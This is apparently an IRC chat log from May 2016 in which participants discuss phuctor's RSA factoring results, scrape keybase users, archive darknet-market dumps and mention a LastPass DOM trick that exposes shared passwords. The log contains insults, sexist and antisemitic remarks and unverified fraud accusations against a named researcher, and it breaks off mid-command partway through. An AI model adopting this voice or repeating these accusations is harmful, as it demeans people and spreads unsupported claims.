; will be sending you a dump later today. 1462829;1462385101;mircea_popescu;and in other news, http://pastebin.com/FfdDSbBh 1462830;1462385858;ben_vulpes;in other *other* news, "lastpass" password sharting tool won't let users *see* shared passwords, but does provide for *copying* shared passwords and pasting into arbitrary other places on the computer. further, if one gets into the DOM and changes the "password" attr on the relevant element the browser will happily render it in place. 1462831;1462385868;ben_vulpes;the idiocy on display is no longer even amusing. 1462832;1462385878;mircea_popescu;heh 1462833;1462385900;mircea_popescu;it;s almost like a metal detector of its very owwwn! 1462834;1462386004;ben_vulpes;yech 1462835;1462386449;mircea_popescu;oh and incidentally, definitely worth reading gwern.net ; that fellow is almost exactly the tmsr antichrist : haskellite as far as computing science goes ; consumate lesswrongian as long as theology goes ; tardpedia "inclusionist" as long as political philosophy goes. pretty much every mistaken, poisonous or outright wrong assumption "modern" "civilisation" makes, he makes. loudly, unapologetically, roundly. 1462836;1462386452;mircea_popescu;it's quite something else. 1462837;1462386494;asciilifeform;http://btcbase.org/log/2016-05-04#1462828 << neato 1462838;1462386494;a111;Logged on 2016-05-04 18:01 mircea_popescu: asciilifeform meanwhile : keybase keys confirmed new via http://phuctor.nosuchlabs.com/gpgkey/1D7AB955D7C3D6DA6952F80879F3F89B16E367E31BA8067853DEFF66389A1FE7 ; will be sending you a dump later today. 1462839;1462386514;asciilifeform;mircea_popescu: 'gwerns' are a dime a dozen. 1462840;1462386524;mircea_popescu;asciilifeform incidentally-1 : would you prefer an actual dump ? i'm contemplating just doing posts in place, is this too much load for phuctor ? 1462841;1462386554;asciilifeform;mircea_popescu: better to chug it in on my end - impervious to www overload 1462842;1462386570;asciilifeform;whereas feeding'em in at the mouth end risks stalling when there are hordes of gawkers 1462843;1462386575;mircea_popescu;incidentally-2 : you absolutely should introduce a (faux) directory structure of the type /ABCD/ABCD/ABCD/ABCD/ABCD/ABCD/ABCD/ABCD where each superior "directory" lists the subs it contains, and the last level lists actual keys. google will utterly lap this up. and it's useful in the general, passive sks. 1462844;1462386592;mircea_popescu;asciilifeform aite, will send you dump then. 1462845;1462386607;asciilifeform;the abcd thing is an idea. but i wasn't really going for an sks clone 1462846;1462386615;asciilifeform;considering that we'll be jettisoning the pgp format. 1462847;1462386621;mircea_popescu;costs ~nothing, it's just an interface atop what you already have neh ? 1462848;1462386622;asciilifeform;it can be done, sure. 1462849;1462386631;asciilifeform;i'd have to reorg the db again. 1462850;1462386645;asciilifeform;(i don't presently parse out the subness of subkeys) 1462851;1462386656;mircea_popescu;do it, you;ll be amazed at the "artificial intelligence" alphabet, inc employs. 1462852;1462386667;mircea_popescu;"something made by ten year olds on a rainy day" 1462853;1462386692;asciilifeform;http://seclists.org/oss-sec/2016/q2/229 http://seclists.org/oss-sec/2016/q2/230 << moar lulz re us 1462854;1462386731;asciilifeform;infuriating idiocy 1462855;1462386732;asciilifeform;'similar observations for factors are 1462856;1462386732;asciilifeform;probably a red herring: an artifact of the process used by these 1462857;1462386732;asciilifeform;factoring projects rather than part of how the keys were generated.' 1462858;1462386780;asciilifeform;and the continuing mention of openssl 1462859;1462386782;mircea_popescu;asciilifeform he has a point tho. 1462860;1462386784;asciilifeform;where it never touched 1462861;1462386800;asciilifeform;but yes the large numbers are composites, this is obvious in 5 seconds to a kindergartener 1462862;1462386809;asciilifeform;how else. 1462863;1462386816;mircea_popescu;in point of fact composites are broken into not-necessarily-prime chunks, which is more of a function of the random state of the breaker than anything, and the actual bitfield offers no information re the process that made the key 1462864;1462386825;asciilifeform;random ints are divisible by 3, 5... etc nyooz at eleven. 1462865;1462386830;mircea_popescu;well so it is obvious, what of it. he can state it. 1462866;1462386869;asciilifeform;the insistence on 'software bug' whereas it is plain as daylight ~why~ there are 32mirror keys, and why they are for whom they are, is the riotous part. 1462867;1462386881;mircea_popescu;all he's saying is that using THE FOUND FACTORS as some sort of lithmus for the key production process is a dead end. which it is. 1462868;1462386895;mircea_popescu;ah, well. it's their schtick, what. 1462869;1462386939;mircea_popescu;" Could it be that all of the broken e keys were generated by OpenSSL from year 2000 or earlier? " << it could not be. a) none of the keys come from openssl ; b) most keys are post 2000. 1462870;1462387003;asciilifeform;plain to anyone without a mouthful of obamacok 1462871;1462387026;mircea_popescu;asciilifeform understand, the most important quality of doing things openly is that every derp everywhere is now able to try and stuff it into his peculiar headbox. there's a lot of "number worshipping" undercurrent i detect in there, sort-of the educated version of "lottery playing systems", which is more repugnant to the civilised man than the political slant. even so. 1462872;1462387029;mircea_popescu;let the fuzzers fuzz. 1462873;1462387059;asciilifeform;reads ~exactly~ like lottosystem folk 1462874;1462387072;mircea_popescu;and in other weird news, keybase somehow has > 50k users. wtf. 1462875;1462387074;asciilifeform;but artifully, deliberately, as misdirection 1462876;1462387089;mircea_popescu;asciilifeform i perceive no such deliberate / artful anything. 1462877;1462387108;asciilifeform;well, what, he did not run the keys through pgpdump? did not see the dates ? 1462878;1462387115;asciilifeform;has nfi that openssl was never in gpg ? 1462879;1462387115;mircea_popescu;indeed not. problem ? 1462880;1462387119;mircea_popescu;also not. 1462881;1462387121;asciilifeform;(or closed pgp for that matter) 1462882;1462387140;mircea_popescu;what, you expect people went to your 3rd grade ? how many people were there in that class! 20 ? 30 ? 1462883;1462387144;mircea_popescu;whole world didn't fit! 1462884;1462387157;asciilifeform;what ~did~ he use for his analysis ? tea leaves? sheep entrails ? 1462885;1462387196;mircea_popescu;he writes numbers on paper. problem ? 1462886;1462387216;asciilifeform;because what, he is a pashtun, never seen computer ? 1462887;1462387228;mircea_popescu;how is it your business how he runs his household! 1462888;1462387259;asciilifeform;not my business, i suppose, whether the man is coprophagic, but he forgot to wipe his mouth, it seems. 1462889;1462387270;mircea_popescu;it's the internet. 1462890;1462387277;asciilifeform;and now i have trouble distinguishing his mouth from arse. 1462891;1462387601;phf;i has a working keybase crawler.. 1462892;1462387615;mircea_popescu;phf i already mostly extracted the userbase. 1462893;1462387620;phf;kk 1462894;1462387631;mircea_popescu;if you wanna do something, do the gwern thing, punkman disappeared ? 1462895;1462387682;phf;what gwern thing? 1462896;1462387708;mircea_popescu;http://btcbase.org/log/2016-05-04#1462750 << there's a 50gb dump of snapshots of dark markets. 1462897;1462387708;a111;Logged on 2016-05-04 16:54 punkman: https://www.gwern.net/Black-market%20archives << possibly good source for keys not on keyservers 1462898;1462387722;mircea_popescu;a) it should be downloaded anyway ; b) contains pgp keys. 1462899;1462387726;phf;hmm 1462900;1462387733;mircea_popescu;which should be extracted an' dumped to phuctor. 1462901;1462387751;mircea_popescu;not to mention their wot should be extracted also, ffu. 1462902;1462387774;phf;that's a whole Project 1462903;1462387788;mircea_popescu;so it is ; currently looking for a doer. 1462904;1462387813;asciilifeform;another thing that really needs 'a doer' is the hunt for ancient pgptrons 1462905;1462387819;asciilifeform;that might hold the magic. 1462906;1462387827;mircea_popescu;asciilifeform that will have to be user-provided. 1462907;1462387843;mircea_popescu;otherwise you're sending men to blow glass with lungs, warmed with arse. 1462908;1462387859;mircea_popescu;send men to where they have leverage - such as by exposing a whole swathe of usg "law enforcement" derps. 1462909;1462387865;asciilifeform;there weren't so many of'em 1462910;1462387874;mircea_popescu;at some point, esp the smaller markets, were 2/3 usg by mass 1462911;1462387878;mircea_popescu;like these things go. 1462912;1462387883;asciilifeform;classic 1462913;1462387896;asciilifeform;it wouldn't astonish me if it were 99%. 1462914;1462387932;mircea_popescu;phf anyway, at the very least that thing needs long term seeders ; which is a mitzvah. 1462915;1462387963;punkman;it's on archive.org so probably safe by now 1462916;1462387974;mircea_popescu;$gettrust archive.org 1462917;1462387975;deedbot;L1: 0, L2: 0 by 0 connections. 1462918;1462387978;mircea_popescu;entirely unsafe. 1462919;1462387979;punkman;2tb will do in a pinch, does it have to run in polite mode on shared server? 1462920;1462387982;phf;well, as of right now it's not pulling at any rate 1462921;1462388022;mircea_popescu;punkman pgpgram me your ssh key, i'll add it and you can log into account. nothing really happening there atm, so you should be ok. 1462922;1462390671;shinohai;http://www.egyptindependent.com//news/tom-jerry-blame-violence-arab-world-official <<< so I watched a lot of T&J as a child, I suppose I am a terrorist. 1462923;1462393442;BingoBoingo;;;bc,stats 1462924;1462393446;gribble;Current Blocks: 410237 | Current Difficulty: 1.7865925777252728E11 | Next Difficulty At Block: 411263 | Next Difficulty In: 1026 blocks | Next Difficulty In About: 6 days, 8 hours, and 0 seconds | Next Difficulty Estimate: None | Estimated Percent Change: None 1462925;1462393505;asciilifeform;https://factorable.net/keycheck.html << lel 1462926;1462393509;asciilifeform;'The keycheck service is no longer available.' 1462927;1462393571;mircea_popescu;awww. 1462928;1462393605;mircea_popescu;because it was available, at some point, we just all collectivelly missed it throughout. 1462929;1462393638;asciilifeform;ahaha ha. 1462930;1462393692;asciilifeform;wasn't available in '13 when i started. 1462931;1462393695;asciilifeform;incidentally. 1462932;1462393734;asciilifeform;or iirc there was a form! 1462933;1462393737;asciilifeform;just b0rk3d 1462934;1462393755;asciilifeform;http://btcbase.org/log/2013-09-14#313064 1462935;1462393755;a111;Logged on 2013-09-14 15:24 asciilifeform: mircea_popescu: https://factorable.net/keycheck.html tests for some very basic weaknesses. 1462936;1462393786;asciilifeform;https://web.archive.org/web/20130220094146/https://factorable.net/keycheck.html 1462937;1462393791;asciilifeform;^ is what there was. 1462938;1462394079;mircea_popescu;asciilifeform there was a form that did nothing. how is this "Available" 1462939;1462394091;mircea_popescu;by this theory i'm available for coming out of cakes at parties. 1462940;1462394096;mircea_popescu;except gavin ACTUALLY DOES IT! 1462941;1462394104;BingoBoingo;lol 1462942;1462394166;asciilifeform;perhaps it worked at some point. i have deeply nfi. 1462943;1462394181;mircea_popescu;yes, perhaps the moon is made of cheese. 1462944;1462394186;mircea_popescu;this isn't how things work. 1462945;1462394235;asciilifeform;eh henninger's proggy from that site (straight implementation of bernstein) works. 1462946;1462394241;asciilifeform;and besides, hot chix dun lie do they 1462947;1462394243;asciilifeform;lel 1462948;1462394269;mircea_popescu;sure, it works. and hanno boeck's ( http://trilema.com/2016/psa-hanno-bock-still-a-deceitful-shitbag/ )'s hands also work. in principle like that. 1462949;1462394274;mircea_popescu;they just don't do anything useful is all. 1462950;1462394289;asciilifeform;boeck took henninger's thing and ran it 1462951;1462394292;asciilifeform;afaik that was all. 1462952;1462394298;mircea_popescu;mno. he took it, and DIDNT run it. 1462953;1462394315;asciilifeform;there was an output in his shithub iirc 1462954;1462394316;mircea_popescu;and then claimed to have ran it, but then his claim ran into the jagged shores of reality when he could not produce ONE SINGLE VERIFIABLE STATEMENT 1462955;1462394319;mircea_popescu;in support of that claim. 1462956;1462394335;asciilifeform;ah yeah last year's boeck 1462957;1462394367;asciilifeform;this year's boeck reluctantly, grudgingly, ran the fucking proggy 1462958;1462394381;asciilifeform;on what looks like just our set of phucked keyz, handily loaded from our www. 1462959;1462394395;mircea_popescu;no he didn't. he didn't get as far as removing the dsa/ecc keys out of the sks dump to get a proper count of rsa moduli 1462960;1462394397;asciilifeform;or rather, a pruned (how, i didn't bother to see, but smaller) subset. 1462961;1462394403;mircea_popescu;snapshotted on some trilema article or other. 1462962;1462394440;BingoBoingo;https://archive.is/mTgyy 1462963;1462394447;asciilifeform;https://github.com/hannob/pgpmoduli/blob/master/gcds it was. 1462964;1462394480;mircea_popescu;perfectly egregious case of fraud, and i have no fucking idea what anyone accepting anything written by him for pay could possibly be thinking. 1462965;1462394534;asciilifeform;curl -s https://raw.githubusercontent.com/hannob/pgpmoduli/master/gcds | sort | uniq | wc -l 1462966;1462394539;asciilifeform;186 1462967;1462394551;asciilifeform;i wonder, how did he pick ~which~ 186 of our mods to boeck over. 1462968;1462394597;asciilifeform;or, hm, nm, 1462969;1462394606;asciilifeform;curl -s https://raw.githubusercontent.com/hannob/pgpmoduli/master/vulnerable_moduli | sort | uniq | wc -l 1462970;1462394612;asciilifeform;273 1462971;1462394637;asciilifeform;~more~ than in my set ?? where'd the new ones come from. 1462972;1462394642;asciilifeform;his arse ? 1462973;1462394653;mircea_popescu;if you're bored run a comparison. 1462974;1462394674;mircea_popescu;who knows, maybe it's one of those typical if hysterical cases of "thief claiming theft" and we discover HE doped the sks servers. 1462975;1462394690;asciilifeform;that would be mighty lulzy. 1462976;1462394710;asciilifeform;though i have nfi what could point specifically to him (or anybody else) 1462977;1462394715;mircea_popescu;i find stuff like that 271 byte one a little off. 1462978;1462394731;mircea_popescu;256* 1462979;1462394763;asciilifeform;which? 1462980;1462394766;asciilifeform;(paste?) 1462981;1462394769;mircea_popescu;about half are 512, exactly 9 are 4096. 1462982;1462394786;mircea_popescu;12c7466512c746654d5320e34d5320e3e011d9bce011d9bcf9891175f9891175af590560af590560aeddd493aeddd493e50c5e54e50c5e54f0fba560f0fba5600505c39c0505c39c72a6c40372a6c40301ec59a601ec59a69525b3689525b368eb92e62ceb92e62ce60eb80ee60eb80e9eca6a989eca6a985cff89cb5cff89cb 1462983;1462394801;asciilifeform;looks like a standard mirrormod 1462984;1462394808;mircea_popescu;buncha them, really. 1462985;1462394812;asciilifeform;well yeah 1462986;1462394824;mircea_popescu;2339dbf02339dbf0b97fc3efb97fc3efe42d1ab5e42d1ab5a9917e72a9917e72c71535d5c71535d58238a2cd8238a2cd7d43a0b27d43a0b24ebfa6664ebfa6660bbfeaa90bbfeaa94d312b834d312b833e8898503e889850824696df824696df6411dd0f6411dd0f5f5d20475f5d2047f5d3431bf5d3431b16f6fdfd16f6fdfd 1462987;1462394830;asciilifeform;we have http://btcbase.org/log/2016-05-04#1462672 of them as of last count. 1462988;1462394830;a111;Logged on 2016-05-04 16:32 asciilifeform: 153 1462989;1462394868;mircea_popescu;i mean specifically the 128 byte ones. 1462990;1462394937;asciilifeform;that'd be any 1024b mod, no? 1462991;1462394946;mircea_popescu;dude there's soemthing amiss here. 1462992;1462394974;asciilifeform;hm? 1462993;1462394992;mircea_popescu;http://dpaste.com/0Q15SM1 << take this. it's in hex right ? 1462994;1462395004;asciilifeform;aha 1462995;1462395007;mircea_popescu;4096 characters = 2048 bytes = 16384 bits ? 1462996;1462395025;asciilifeform;aha 1462997;1462395037;mircea_popescu;he has NINE "vulnerable" 16kb moduli ? 1462998;1462395050;mircea_popescu;who even fucking uses 16kb rsa. 1462999;1462395075;mircea_popescu;is that even a rsa modulus ? 1463000;1462395079;asciilifeform;i saw at least 1 of these. 1463001;1462395088;mircea_popescu;can't be verified, of course, because he publishes some random strings. 1463002;1462395095;mircea_popescu;these, to my eyes, count as EXACTLY nothing. 1463003;1462395106;BingoBoingo;https://encyclopediadramatica.se/Trigglypuff 1463004;1462395153;BingoBoingo;Note that Trigglypuff like Gavin lives in Amherst, MASSachussetts 1463005;1462395160;mircea_popescu;for all this is work, he ran /u/random for a while. 1463006;1462395211;asciilifeform;mircea_popescu: http://phuctor.nosuchlabs.com/gpgkey/561245D928FF0843F5F346549A73B46C6836E3B2BE309DC7F6CCAFCF7F17795C 1463007;1462395216;asciilifeform;^ one such 1463008;1462395254;mircea_popescu;care to calc the fingerprint of the one i dpasted and see if it exists irl ? 1463009;1462395350;asciilifeform;will do this when i get back to the right console 1463010;1462395356;asciilifeform;for all of them, in fact. 1463011;1462395433;mircea_popescu;randomly looking : 299120016550324784203428319 aka F76D2096C15EFF95C9F1DF not on his list ; 1888753310995198753 aka 1A3633211A363321 not on his list, 1463012;1462395440;mircea_popescu;that's 2 of 2, what the fuck am i even doing here. 1463013;1462395449;mircea_popescu;derp pulled some random digits out of his ass, end of story. 1463014;1462395479;asciilifeform;oh guess what 1463015;1462395480;asciilifeform;gpg --recv-key cbe2d0bd 1463016;1462395489;asciilifeform;... not found on keyserver 1463017;1462395492;mircea_popescu;awww! 1463018;1462395499;asciilifeform;(your example) 1463019;1462395515;mircea_popescu;so... not only did he lie about having run the code ; once getting called on it, he ACTUALLY FABRICATED SOME EXAMPLES. 1463020;1462395525;asciilifeform;either that or he used ft meade's sks 1463021;1462395526;mircea_popescu;nice going. 1463022;1462395531;asciilifeform;that has keys from mars in it. 1463023;1462395537;mircea_popescu;yaright. 1463024;1462395540;asciilifeform;or these are ssl keyz 1463025;1462395542;punkman;there are 16kb keys in the wild 1463026;1462395542;asciilifeform;from henninger 1463027;1462395549;asciilifeform;punkman: i linked to one earlier 1463028;1462395551;asciilifeform;on phuctor. 1463029;1462395551;mircea_popescu;punkman sure there are. 1463030;1462395720;punkman;asciilifeform: did you say something about recovering pubkeys from rsa signatures in the past? 1463031;1462395816;asciilifeform;punkman: yes, it is not difficult 1463032;1462395820;asciilifeform;but you need a number of sigs. 1463033;1462395823;asciilifeform;more - better. 1463034;1462395966;mircea_popescu;what was it, 1024 sigs for 4096 rsa key ? 1463035;1462396054;asciilifeform;iforget. 1463036;1462396058;asciilifeform;it is in the logz somewhere. 1463037;1462396211;phf;ok, came back from dinner, it looks like dnmarchives is pulling at my connection capacity 1463038;1462396247;mircea_popescu;it looks like what ? 1463039;1462396267;mircea_popescu;oh the torrent ? cool. is it actually 50gb ? 1463040;1462396353;BingoBoingo;;;later tell shinohai https://images.encyclopediadramatica.se/1/10/Triggly_Puff_Dating_Profile.jpg 1463041;1462396354;gribble;The operation succeeded. 1463042;1462396518;shinohai;"I'm socially awkward and hate wearing clothes" <<< Dear Lord. 1463043;1462396584;phf;48g and a 206m "padding file" 1463044;1462396618;trinque;cisheteropatriarchy << rolls right off the tongue 1463045;1462397666;mircea_popescu;phf not bad! 1463046;1462397680;mircea_popescu;shinohai hey, the idea of even dressing young women indoors is bizarre. 1463047;1462397821;shinohai;I cannot see trigglpuff as "young woman" by any stretch of imagination. 1463048;1462397876;shinohai;http://i.imgur.com/mHoDqf8.jpg <<< moar like it 1463049;1462398000;mircea_popescu;well, she's obese, but otherwise under 30 no ? 1463050;1462398021;BingoBoingo;Impossible to ascertain 1463051;1462398036;BingoBoingo;Same way it is impossible to tell if Gavin is older than 12 1463052;1462398385;mircea_popescu;i guess. i come from a world where women under 30 aren't allowed at uni anwyay. 1463053;1462398394;mircea_popescu;and by under i mean over* 1463054;1462398452;asciilifeform;no hot henningerz at mircea_popescu's uni, i take it? 1463055;1462398492;mircea_popescu;woman got shit to do, ain't nobody got time to fuck around in postdocs forever. 1463056;1462398928;mircea_popescu;$up fromphuctor 1463057;1462398929;deedbot;fromphuctor voiced for 30 minutes. 1463058;1462398951;shinohai;I wonder what mircea_popescu would do to trilema readers if trigglypuff cam in here to do the "I'll pay for your tits" thing. 1463059;1462398972;mircea_popescu;what, you don't wanna see her tits ? 1463060;1462399001;shinohai;even xhamster announced they would not pay for nudez of her. 1463061;1462399019;mircea_popescu;trilema is more daring than xhamster i guess. 1463062;1462399143;asciilifeform;mircea_popescu: http://www.loper-os.org/pub/bok.txt 1463063;1462399214;asciilifeform;do i need to explain this 1463064;1462399217;asciilifeform;or is it obvious. 1463065;1462399340;asciilifeform;seems like he even bagged a few folks we didn't, e.g,. http://phuctor.nosuchlabs.com/gpgkey/E11CDF14DD89647BC7B12CEAA217D3FFFBD37D6640295728BEC80235ED76367F 1463066;1462399407;asciilifeform;i'm beginning to suspect that mircea_popescu was right 1463067;1462399413;asciilifeform;not re the 'random numbers out of his arse' 1463068;1462399419;asciilifeform;because this obviously wasn't it 1463069;1462399425;asciilifeform;but that boeck is the ~perp~, laughing at us. 1463070;1462399944;deedbot;[Trilema] Mr. Right - http://trilema.com/2016/mr-right/ 1463071;1462400105;asciilifeform;;;later tell mircea_popescu http://btcbase.org/log/2016-05-04#1463062 1463072;1462400105;a111;Logged on 2016-05-04 21:59 asciilifeform: mircea_popescu: http://www.loper-os.org/pub/bok.txt 1463073;1462400106;gribble;The operation succeeded. 1463074;1462401728;mircea_popescu;asciilifeform interesting 1463075;1462401761;mircea_popescu;so i fell on the exactly... one he had out of thin air ? 1463076;1462401948;mircea_popescu;well meanwhile google only shows trilema for any hannob/pgpmoduli search i do ; and i dunno how to derive an actual location from that url. when was the vuln moduli .txt published ? 1463077;1462402020;mircea_popescu;"updated_at": "2016-05-02T16:54:14Z" according to github... 1463078;1462402055;mircea_popescu;aha. 1463079;1462402187;mircea_popescu;asciilifeform imo this is absolute proof he copied the phuctor results without understanding them. otherwise it is plain impossible he has a list of "vulnerable moduli" that is more extensive than phuctor's all the while having a list of factors that includes ~none of the factors phuctor found 1463080;1462402200;mircea_popescu;where ~none is extrapolated on the basis of 2 assays coming up with 0 hits. 1463081;1462402401;punkman;http://www.curiousgnu.com/reddit-godwin 1463082;1462403160;phf;ok am seeding complete dnmarchive 1463083;1462403217;mircea_popescu;cool! 1463084;1462403250;mircea_popescu;how's your side punkman ? 1463085;1462403275;phf;also in lieu of working on btcbase i figured out how to make my crawler download really fast, so now i'm running into rate limiting :/ 1463086;1462403295;mircea_popescu;on what ? 1463087;1462403301;phf;keybase 1463088;1462403313;mircea_popescu;lol. 1463089;1462403323;mircea_popescu;how many users did you end up with so far ? 1463090;1462403351;phf;not many, 30k something 1463091;1462403357;mircea_popescu;unique ? 1463092;1462403360;phf;yes 1463093;1462403368;mircea_popescu;then you're ahead of me, i only see 13.5k 1463094;1462403374;phf;26214 14866 1463095;1462403383;phf;unique users, pending to process 1463096;1462403383;mircea_popescu;hm ? 1463097;1462403389;mircea_popescu;ah 1463098;1462403398;mircea_popescu;aite, ima call this off then, you're way ahead. 1463099;1462403542;phf;it's now consistently returning empty documents even with two workers, i'm probably on some ban list 1463100;1462403575;mircea_popescu;heh. why push it lol. 1463101;1462403583;phf;i'll upload the list once it starts looking like i'm exhausting the graph. should've been saving the graph info come to think of it 1463102;1462403625;mircea_popescu;anyway, i've implemented a truly braindamaged algo, 1463103;1462403626;mircea_popescu;cat keybase.io | while read derp; do curl "https://keybase.io/$derp" | grep ' class="username "' | sed 's/" class/\n/' | grep "a href" | sed 's% Logged on 2016-05-02 20:05 asciilifeform: ;;later tell jurov observed any spike in trb site traffic ? (it is linked from nosuchlabs.com) << cat /var/log/thebitcoin.foundation-* | grep "nosuchlabs" | wc -l 69 1463157;1462408766;mod6;apparently this started around May 1st. 1463158;1462409511;*;asciilifeform back. 1463159;1462409536;hanbot;for the record, it's not just phuctor that your friend Boeck [could have done] did. See also [could have] found Heartbleed: http://www.openwall.com/lists/oss-security/2015/04/07/7 1463160;1462409549;asciilifeform;and shot kennedy! 1463161;1462409553;asciilifeform;(or... unshot?!) 1463162;1462409560;mircea_popescu;lmao 1463163;1462409562;ben_vulpes;there's a deedbot ripoff doing the rounds as well 1463164;1462409565;mircea_popescu;what the fuck. 1463165;1462409573;asciilifeform;ben_vulpes: those are old nyooz 1463166;1462409583;mircea_popescu;what is with this, it's self-parodic by now. 1463167;1462409583;asciilifeform;there was a shit-combinator sponsored one at least a year ago 1463168;1462410083;mircea_popescu;asciilifeform more's the point : is phuctor happy with a e, n, userstring csv ? 1463169;1462410098;asciilifeform;right now mods have to link back to keys in the db 1463170;1462410110;asciilifeform;(as in, rfc4880 turds) 1463171;1462410112;mircea_popescu;"keys" ie, fingerprints ? 1463172;1462410116;asciilifeform;as in .asc 1463173;1462410117;mircea_popescu;that's calculated from N no ? 1463174;1462410124;asciilifeform;no, as in thrown in the submit box. 1463175;1462410136;asciilifeform;this is fixable but not immediately. 1463176;1462410137;mircea_popescu;aha. so no cheating here 1463177;1462410142;asciilifeform;not yet. 1463178;1462410153;mircea_popescu;there wouldn't really be anything to throw in the box for ssl keys tho 1463179;1462410164;asciilifeform;not yet. 1463180;1462410174;asciilifeform;unless want to generate a pgp 'box' for them. 1463181;1462410191;mircea_popescu;so is the logical thing here to just proclaim "rsa key, as per the republic, is a e, N, string tripled" and then, jurov can dump to THAT format and you'll import from that format later ? 1463182;1462410230;asciilifeform;aha, but it helps to leave some place for 'whose key this allegedly is' 1463183;1462410236;asciilifeform;otherwise the output becomes a pain to read. 1463184;1462410238;mircea_popescu;"string" 1463185;1462410245;mircea_popescu;no ? 1463186;1462410254;asciilifeform;aha. 1463187;1462410274;mircea_popescu;right. so the new standard for a rsa key is (e, N, userstring), and everyone's expected to produce THAT. 1463188;1462410283;asciilifeform;aha. 1463189;1462410288;mircea_popescu;alrighty then. 1463190;1462410315;mircea_popescu;jurov ^ feel free to extract as such and it'll be imported later on. 1463191;1462411557;asciilifeform;https://yro.slashdot.org/story/11/12/27/0044242/gnupg-short-id-collision-has-occurred << vintage lulz. 1463192;1462412322;asciilifeform;https://www.schneier.com/blog/archives/2016/04/friday_squid_bl_524.html << our old phriend's bl0g, even. 1463193;1462412498;asciilifeform;in entirely unrelated nyooz, 1463194;1462412501;asciilifeform;https://www.kickstarter.com/projects/1604844025/bloc-by-bloc-the-insurrection-game << via Vexual. 1463195;1462412507;asciilifeform;BingoBoingo ^ possibly of interest to you. 1463196;1462412531;asciilifeform;'In Bloc by Bloc: The Insurrection Game, players join a movement that is struggling to liberate a randomly generated city that changes every game. Each player controls a faction of revolutionaries fighting back against the authorities. The factions must cooperate to defeat their common enemy while carefully balancing individual secret agendas. Build barricades, clash with riot cops, loot shopping centers, defend liberated zones, and 1463197;1462412531;asciilifeform;occupy the city before time runs out and the military arrives.' 1463198;1462412534;asciilifeform;lulzy. 1463199;1462412961;mircea_popescu;asciilifeform yeah, they're propping him something fierce. fun times. 1463200;1462412976;mircea_popescu;if nothing else, populates teh list of names. 1463201;1462413450;asciilifeform;mircea_popescu: http://dpaste.com/14F1S3Y.txt 1463202;1462413655;mircea_popescu;"Pedofunding A crowdfunding site for child pornography, “Pedofunding”, was launched in November 2014. It seemed like possibly the birth of a new black-market business model so I set up a logged-out scrape to archive its beginnings (sans any images), collecting 20 scrapes from 2014-11-13 to 2014-12-02, after which it shut down, apparently having found no traction." 1463203;1462413666;asciilifeform;l0l!! 1463204;1462413681;mircea_popescu;i guess a bunch of weirdos have the usg to thank for their wholly delusional belief that child porn is "big business", somehiw. 1463205;1462413683;mircea_popescu;nuts. 1463206;1462413705;asciilifeform;hey all folks with childrenz gotta be deluded into thinking their spawn are worth something... 1463207;1462413709;asciilifeform;or they start to slide 1463208;1462413718;mircea_popescu;heh. 1463209;1462414545;mircea_popescu; https://www.reddit.com/r/DarkNetMarkets/comments/3dfq8s/dark_net_market_archives_20112015/ << fucking dopeheads, i swear 1463210;1462414601;mircea_popescu;i almost prefer the vapid floozies. to hear these schmucks " I feel like this post deserves a montage or a slideshow with music. So much reminiscing and joyful sadness. ", makes my skin fucking crawl. 1463211;1462414606;asciilifeform;'I'm no longer as interested in the DNMs as I used to be. I was originally lured in by the fascination of watching a small cryptopunk revolution, and I was hopeful that it would go beyond the SR1 model into multisig and beyond. But we have seen little multisig usage, and that augurs ill for the distributed marketplaces. (What if someone built a trustless distributed blackmarket and no one wanted to use it?) Instead, the SR1 business 1463212;1462414606;asciilifeform;model has proven remarkably durable despite the constant wearying turmoil of exit-scams and hacks and as I write this in mid-July 2015, there seems to be little chance that things will change substantially soon. (If Tor hidden services are cracked, the DNMs will simply move to I2P or Freenet; if Bitcoin starts getting too easily tracked, transactions will be settled in Monero or another cryptocoin with better anonymity properties, et 1463213;1462414607;asciilifeform;c.) ' << l0l!! 1463214;1462414655;mircea_popescu;asciilifeform he's not JUST into lesswrong, wikipedia, bla bla. he's also convinced "darknet" is relevant in general, that a bunch of inept shitheads were "a cryptoanarchist revolution" and, wonder of wonders, that the pill poppers had some sort of impact in bitcoin whatsoever. 1463215;1462414671;mircea_popescu;it boggles the mind, what nonsense people can sell themselves on, for lack of friends and anything useful to do. 1463216;1462414697;asciilifeform;frying brain like an egg with ??? also helps. presumably. 1463217;1462414710;mircea_popescu;he said what he was doing, some stimulant or other 1463218;1462414724;mircea_popescu;modafinil 1463219;1462414758;asciilifeform;that wouldn't explain it. 1463220;1462414770;mircea_popescu;maybe that's just the official truth. 1463221;1462414778;asciilifeform;it is in the logz - this is the pill that mircea_popescu wouldn't even notice if he ate. 1463222;1462414789;asciilifeform;prolly he also ate 10,001 'experimentals.' 1463223;1462414802;mircea_popescu;possibly. 1463224;1462414819;asciilifeform;it is ~also~ possible that he ate nothing. 1463225;1462414825;mircea_popescu;ah, and obviously - fully dedicated to "safety in tor" 1463226;1462414834;asciilifeform;when i was a bored, sn0r3d kid, reading usenet, i sometimes read the dope groups 1463227;1462414841;asciilifeform;and imagined what their 'trips' might feel like. 1463228;1462415108;mircea_popescu;i guess more or less like waking with a headache in a dirty bed with a woman you don't recall meeting. 1463229;1462415155;asciilifeform;nah 1463230;1462415161;asciilifeform;that was imagining-what-drink-feels-like. 1463231;1462417032;mircea_popescu;http://lesswrong.com/r/discussion/lw/9p9/open_thread_february_114_2012/5v6g << i followed this link off the guy's page ; turned out to be exactly as worthless as expected (take the most glaringly obvious point - he protests that polyamory practitioners are rich powerful valuable people [which he can't confront so he has to mangle up in terms of skin color etc, which doesn't make him a racist because rationalism or whatever, t 1463232;1462417033;mircea_popescu;he usual crap] ; it doesn't occur to him that while this is true, the expectation that "all the people" are a sort of given, and polyamory must be applied TO them, as they are, warts and all, as opposed to THEM being applied to it, through an extrudation process which substantially changes THEM, as just so happens to be the absolute historical norm both in theory and in practice - but hey, he needn't know this anymore than th 1463233;1462417033;mircea_popescu;e previous point, he's got a rationalist amulet to protect him from things!), but also i notice - that lesswrong thing is essentially dead, isn't it ? one wiki edit (his), "0 points" throughout whatever that may mean, recent posts nobody cares about, latest diary from February, 5-th most recent blog from last month etc etc. i thought there were many idiots in this thing, turns out it's just a handful of derps that meanwhile f 1463234;1462417040;mircea_popescu;ound girlfriends, a la encyclopedia dramatica ? 1463235;1462417075;mircea_popescu;and in other lulz http://annasalamon.com/ 1463236;1462417452;ben_vulpes;dag that's some /jew/ 1463237;1462417464;mircea_popescu;the chick ? 1463238;1462417469;ben_vulpes;mhm 1463239;1462417501;mircea_popescu;o check it out, openwrt split up. 1463240;1462417511;mircea_popescu;i wonder if it's a moles vs ants sorta split 